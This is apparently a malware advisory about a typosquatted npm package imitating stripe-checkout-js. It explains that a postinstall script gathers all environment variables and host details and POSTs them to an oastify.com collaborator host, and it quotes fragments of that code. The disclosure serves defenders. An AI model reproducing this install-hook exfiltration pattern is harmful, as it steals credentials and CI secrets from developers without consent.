@0xlr/stripe-checkout-jsnpm

On npm install, postinstall.js enumerates the full process.env keyspace plus host identifiers (os.hostname(), username, homedir, cwd, argv, OS details) and POSTs the resulting JSON payload over HTTPS to rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com — a Burp Collaborator out-of-band subdomain used as attacker-controlled exfiltration infrastructure. The relevant code is Object.keys(process.env).sort().forEach(k => { env[k] = process.env[k]; }) followed by https.request({hostname: 'rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com', port: 443,..., method: 'POST'}). On developer and CI hosts, process.env routinely contains credential-grade values (AWS_*, NPM_TOKEN, GITHUB_TOKEN, CI/CD secrets), all of which are captured and shipped off-host without consent. The package name typosquats the legitimate stripe-checkout-js, and the version (999.0.0) is consistent with a placeholder/squat release rather than a real maintained library.